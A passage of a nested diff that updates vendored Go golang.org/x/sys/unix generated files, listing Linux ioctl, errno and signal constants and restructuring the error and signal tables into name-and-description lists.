-+ TIOCGETD = 0x5424
-+ TIOCGEXCL = 0x80045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x80285442
-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGPGRP = 0x540f
-+ TIOCGPKT = 0x80045438
-+ TIOCGPTLCK = 0x80045439
-+ TIOCGPTN = 0x80045430
-+ TIOCGPTPEER = 0x5441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x5413
-+ TIOCINQ = 0x541b
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x5411
-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x5423
-+ TIOCSIG = 0x40045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSPGRP = 0x5410
-+ TIOCSPTLCK = 0x40045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTI = 0x5412
-+ TIOCSWINSZ = 0x5414
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x100
-+ TUNATTACHFILTER = 0x401054d5
-+ TUNDETACHFILTER = 0x401054d6
-+ TUNGETDEVNETNS = 0x54e3
-+ TUNGETFEATURES = 0x800454cf
-+ TUNGETFILTER = 0x801054db
-+ TUNGETIFF = 0x800454d2
-+ TUNGETSNDBUF = 0x800454d3
-+ TUNGETVNETBE = 0x800454df
-+ TUNGETVNETHDRSZ = 0x800454d7
-+ TUNGETVNETLE = 0x800454dd
-+ TUNSETCARRIER = 0x400454e2
-+ TUNSETDEBUG = 0x400454c9
-+ TUNSETFILTEREBPF = 0x800454e1
-+ TUNSETGROUP = 0x400454ce
-+ TUNSETIFF = 0x400454ca
-+ TUNSETIFINDEX = 0x400454da
-+ TUNSETLINK = 0x400454cd
-+ TUNSETNOCSUM = 0x400454c8
-+ TUNSETOFFLOAD = 0x400454d0
-+ TUNSETOWNER = 0x400454cc
-+ TUNSETPERSIST = 0x400454cb
-+ TUNSETQUEUE = 0x400454d9
-+ TUNSETSNDBUF = 0x400454d4
-+ TUNSETSTEERINGEBPF = 0x800454e0
-+ TUNSETTXFILTER = 0x400454d1
-+ TUNSETVNETBE = 0x400454de
-+ TUNSETVNETHDRSZ = 0x400454d8
-+ TUNSETVNETLE = 0x400454dc
-+ UBI_IOCATT = 0x40186f40
-+ UBI_IOCDET = 0x40046f41
-+ UBI_IOCEBCH = 0x40044f02
-+ UBI_IOCEBER = 0x40044f01
-+ UBI_IOCEBISMAP = 0x80044f05
-+ UBI_IOCEBMAP = 0x40084f03
-+ UBI_IOCEBUNMAP = 0x40044f04
-+ UBI_IOCMKVOL = 0x40986f00
-+ UBI_IOCRMVOL = 0x40046f01
-+ UBI_IOCRNVOL = 0x51106f03
-+ UBI_IOCRPEB = 0x40046f04
-+ UBI_IOCRSVOL = 0x400c6f02
-+ UBI_IOCSETVOLPROP = 0x40104f06
-+ UBI_IOCSPEB = 0x40046f05
-+ UBI_IOCVOLCRBLK = 0x40804f07
-+ UBI_IOCVOLRMBLK = 0x4f08
-+ UBI_IOCVOLUP = 0x40084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x4
-+ VEOL = 0xb
-+ VEOL2 = 0x10
-+ VMIN = 0x6
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x80045702
-+ WDIOC_GETPRETIMEOUT = 0x80045709
-+ WDIOC_GETSTATUS = 0x80045701
-+ WDIOC_GETSUPPORT = 0x80285700
-+ WDIOC_GETTEMP = 0x80045703
-+ WDIOC_GETTIMELEFT = 0x8004570a
-+ WDIOC_GETTIMEOUT = 0x80045707
-+ WDIOC_KEEPALIVE = 0x80045705
-+ WDIOC_SETOPTIONS = 0x80045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x62)
- EADDRNOTAVAIL = syscall.Errno(0x63)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x61)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x72)
- EBADE = syscall.Errno(0x34)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x4d)
- EBADMSG = syscall.Errno(0x4a)
- EBADR = syscall.Errno(0x35)
- EBADRQC = syscall.Errno(0x38)
- EBADSLT = syscall.Errno(0x39)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7d)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x2c)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x67)
-@@ -1871,23 +493,15 @@ const (
- EDEADLK = syscall.Errno(0x23)
- EDEADLOCK = syscall.Errno(0x23)
- EDESTADDRREQ = syscall.Errno(0x59)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x7a)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x70)
- EHOSTUNREACH = syscall.Errno(0x71)
- EHWPOISON = syscall.Errno(0x85)
- EIDRM = syscall.Errno(0x2b)
- EILSEQ = syscall.Errno(0x54)
- EINPROGRESS = syscall.Errno(0x73)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x6a)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x7f)
- EKEYREJECTED = syscall.Errno(0x81)
-@@ -1904,8 +518,6 @@ const (
- ELNRNG = syscall.Errno(0x30)
- ELOOP = syscall.Errno(0x28)
- EMEDIUMTYPE = syscall.Errno(0x7c)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x5a)
- EMULTIHOP = syscall.Errno(0x48)
- ENAMETOOLONG = syscall.Errno(0x24)
-@@ -1913,103 +525,70 @@ const (
- ENETDOWN = syscall.Errno(0x64)
- ENETRESET = syscall.Errno(0x66)
- ENETUNREACH = syscall.Errno(0x65)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x37)
- ENOBUFS = syscall.Errno(0x69)
- ENOCSI = syscall.Errno(0x32)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x7e)
- ENOLCK = syscall.Errno(0x25)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x7b)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x2a)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x5c)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x26)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x6b)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x27)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x83)
- ENOTSOCK = syscall.Errno(0x58)
- ENOTSUP = syscall.Errno(0x5f)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x4c)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x5f)
- EOVERFLOW = syscall.Errno(0x4b)
- EOWNERDEAD = syscall.Errno(0x82)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x60)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x5d)
- EPROTOTYPE = syscall.Errno(0x5b)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x4e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x55)
- ERFKILL = syscall.Errno(0x84)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x6c)
- ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x74)
- ESTRPIPE = syscall.Errno(0x56)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x6e)
- ETOOMANYREFS = syscall.Errno(0x6d)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x31)
- EUSERS = syscall.Errno(0x57)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x36)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0x7)
- SIGCHLD = syscall.Signal(0x11)
- SIGCLD = syscall.Signal(0x11)
- SIGCONT = syscall.Signal(0x12)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x1d)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x1d)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1e)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTKFLT = syscall.Signal(0x10)
- SIGSTOP = syscall.Signal(0x13)
- SIGSYS = syscall.Signal(0x1f)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x14)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-- SIGUNUSED = syscall.Signal(0x1f)
- SIGURG = syscall.Signal(0x17)
- SIGUSR1 = syscall.Signal(0xa)
- SIGUSR2 = syscall.Signal(0xc)
-@@ -2020,171 +599,179 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "resource deadlock avoided",
-- 36: "file name too long",
-- 37: "no locks available",
-- 38: "function not implemented",
-- 39: "directory not empty",
-- 40: "too many levels of symbolic links",
-- 42: "no message of desired type",
-- 43: "identifier removed",
-- 44: "channel number out of range",
-- 45: "level 2 not synchronized",
-- 46: "level 3 halted",
-- 47: "level 3 reset",
-- 48: "link number out of range",
-- 49: "protocol driver not attached",
-- 50: "no CSI structure available",
-- 51: "level 2 halted",
-- 52: "invalid exchange",
-- 53: "invalid request descriptor",
-- 54: "exchange full",
-- 55: "no anode",
-- 56: "invalid request code",
-- 57: "invalid slot",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "multihop attempted",
-- 73: "RFS specific error",
-- 74: "bad message",
-- 75: "value too large for defined data type",
-- 76: "name not unique on network",
-- 77: "file descriptor in bad state",
-- 78: "remote address changed",
-- 79: "can not access a needed shared library",
-- 80: "accessing a corrupted shared library",
-- 81: ".lib section in a.out corrupted",
-- 82: "attempting to link in too many shared libraries",
-- 83: "cannot exec a shared library directly",
-- 84: "invalid or incomplete multibyte or wide character",
-- 85: "interrupted system call should be restarted",
-- 86: "streams pipe error",
-- 87: "too many users",
-- 88: "socket operation on non-socket",
-- 89: "destination address required",
-- 90: "message too long",
-- 91: "protocol wrong type for socket",
-- 92: "protocol not available",
-- 93: "protocol not supported",
-- 94: "socket type not supported",
-- 95: "operation not supported",
-- 96: "protocol family not supported",
-- 97: "address family not supported by protocol",
-- 98: "address already in use",
-- 99: "cannot assign requested address",
-- 100: "network is down",
-- 101: "network is unreachable",
-- 102: "network dropped connection on reset",
-- 103: "software caused connection abort",
-- 104: "connection reset by peer",
-- 105: "no buffer space available",
-- 106: "transport endpoint is already connected",
-- 107: "transport endpoint is not connected",
-- 108: "cannot send after transport endpoint shutdown",
-- 109: "too many references: cannot splice",
-- 110: "connection timed out",
-- 111: "connection refused",
-- 112: "host is down",
-- 113: "no route to host",
-- 114: "operation already in progress",
-- 115: "operation now in progress",
-- 116: "stale file handle",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "disk quota exceeded",
-- 123: "no medium found",
-- 124: "wrong medium type",
-- 125: "operation canceled",
-- 126: "required key not available",
-- 127: "key has expired",
-- 128: "key has been revoked",
-- 129: "key was rejected by service",
-- 130: "owner died",
-- 131: "state not recoverable",
-- 132: "operation not possible due to RF-kill",
-- 133: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "bus error",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "user defined signal 1",
-- 11: "segmentation fault",
-- 12: "user defined signal 2",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "stack fault",
-- 17: "child exited",
-- 18: "continued",
-- 19: "stopped (signal)",
-- 20: "stopped",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "urgent I/O condition",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "I/O possible",
-- 30: "power failure",
-- 31: "bad system call",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go
-index 900f568a..4826bd70 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go
-@@ -3,7 +3,7 @@
-
- // +build mips,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-@@ -11,1873 +11,489 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
